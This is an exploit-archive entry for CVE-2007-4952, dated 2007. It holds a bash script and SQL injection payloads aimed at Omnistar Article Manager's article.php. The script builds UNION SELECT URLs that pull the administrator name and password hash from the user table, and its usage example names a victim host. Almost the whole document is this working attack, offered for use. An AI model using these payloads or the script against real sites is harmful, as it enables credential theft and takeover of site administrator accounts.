Omnistar Article Manager Software - 'article.php' SQL Injection

Author: Cold Zero
type: webapps
platform: php
port: 
date_added: 2007-09-15  
date_updated:   
verified: 1  
codes: OSVDB-43138;CVE-2007-4952  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 4418.sh  

#/bin/bash



####################################################################################################################

#                                                                                                                  #

#                 Omnistar Article Manager Software (article.php) Remote SQL Injection Exploit                     #

#                                                                                                                  #

#                                       Exploit Coded By : Cold z3ro                                               #

#                                                                                                                  #

#                                            http://Hackteach.org                                                  #

#                                                                                                                  #

#                                                                                                                  #

# Exploit : /article.php?op=favorite&article_id=4&page_id=-1'/**/union/**/select/**/name,1/**/from/**/user/*       #

#           /article.php?op=favorite&article_id=4&page_id=-1'/**/union/**/select/**/password,1/**/from/**/user/*   #

#                                                                                                                  #

# Example : http://demo.hostcontroladmin.com/demo_press2/articles/                                                 #

#                                                                                                                  #

####################################################################################################################



URL=$1;

PATH="$2/";



echo -e "\n";

echo -e "\n";

echo -e "######################################################################################"

echo -e "#   Omnistar Article Manager Software (article.php) Remote SQL Injection Exploit     #"

echo -e "#                           Exploit Coded By By : Cold z3ro                          #"

echo -e "#                                 http://Hackteach.org                               #"

echo -e "######################################################################################"



if [ "$URL" = "" ]; then

	echo -e "\n USAGE: $0 [URL] [NukePath]"

	echo -e " Example: $0 www.victim.net NukePath\n"

	exit

fi;



if [ $PATH = "/" ]; then PATH=""; fi;



name_query_url="http://$URL/$PATH""article.php?op=favorite&article_id=4&page_id=-1'/**/union/**/select/**/name,1/**/from/**/user/*";



password_query_url="http://$URL/$PATH""article.php?op=favorite&article_id=4&page_id=-1'/**/union/**/select/**/password,1/**/from/**/user/*";



echo -e "\n";

echo -e "\n";

echo -e "Direct Query URL For Admin name: \n";

echo -e ""$name_query_url"\n";

echo -e "\n";

echo -e "Direct Query URL For Admin Hash:\n";

echo -e ""$password_query_url"\n";

# milw0rm.com [2007-09-16]